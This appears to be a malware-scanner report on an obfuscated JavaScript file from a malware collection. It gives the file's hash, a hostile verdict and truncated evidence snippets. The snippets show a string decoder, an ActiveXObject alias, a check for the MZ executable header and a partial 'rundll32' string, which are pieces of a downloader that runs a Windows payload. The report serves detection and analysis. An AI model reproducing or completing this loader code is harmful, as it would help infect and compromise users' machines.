Hostile ^100% javascript-malware-collection Download

20161221_377a203cb0bf5199a75515840eb03ad9.js

Obfuscated ActiveX malware execution

Checking for MZ header (77, 90) in a byte arrayActiveXObject via local alias

SHA-2563e4e103309fb6cd09118ac20a069e2fdacbd7bce383fb76eb2158659fcd3da2d

MaleculeK₂(McLi)O₃(Xe₂As₉S)H₅(F₃CmDb₈OsPo₄)Md₂

Evidence

Hex arithmetic in string operations lines 2–9

2:559… 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
3
4);
5var silkopil = "\u002f";
6 var Hesrshish =- 0x01 +0x09+0xF7 ;
7String.prototype.osenOSENles = function() {
8SupchikopprobriousFROG2XCOP = 0;	
9     var SupchikopprobriousRazlomSS, SupchikopprobriousFROG2ddDccC2, Supchikopprobrious …

JavaScript empty-string accumulator initializer lines 9–14

9:101… hikopprobriousFROG2c4;
10
11     var SupchikopprobriousFROG2out = "";
12
13	 var SupchikopprobriousFROG2Supchikopprobriouska= this.replace(/FROSTICK/gi, SupchikopprobriousFROG2out);
14 var  SupchikopprobriousFROG2len = Supchikopprobriou …

charCodeAt() method call lines 18–20

13… hikopprobriouskoch = SupchikopprobriousFROG2Supchikopprobriouska.charCodeAt(SupchikopprobriousFROG2XCOP++) &(0x132- 0x33);
          SupchikopprobriousRazlomSS = levitron[Supchikopprobriouskoch];
      } while (SupchikopprobriousFROG2XCOP < S …

ActiveXObject via local alias lines 185–188

28… 2d2=SupchikopprobriousFROG2DoUtra.pop();
186SupchikopprobriousFROG2fabled="Valar2Morgulis";
var SupchikopprobriousFROG2LitoyDISK=ActiveXObject;
var doubleTrouble=SupchikopprobriousFROG2d2.split("45");SupchikopprobriousFROG2Native.SupchikopprobriousFROG2typize=function(a,b){a.type||(a.type=function(a){return SupchikopprobriousFROG2$ …

Checks array for PE magic bytes lines 257–264

92… v);	
if(SupchikopprobriousTalabaevLaa < 29989)return false;
if (SupchikopprobriousTalabaev[0]!= 77 || SupchikopprobriousTalabaev[1]!= 90)return false;		
SupchikopprobriousFROG2CHICKA = SupchikopprobriousFROG2CHICKA  + SupchikopprobriousFROG2SIDRENKOV;
REBEKK2(SupchikopprobriousFROG2CHICKA, SupchikopprobriousTalabaev );
262
var SupchikopprobriousFROG2ddsSSddSd = ",happy";
264SupchikopprobriousFROG2ddsSSddSd = (SupchikopprobriousFROG2StrokaParam2,"undl") + (SupchikopprobriousFROG2StrokaParam2,"l32 " …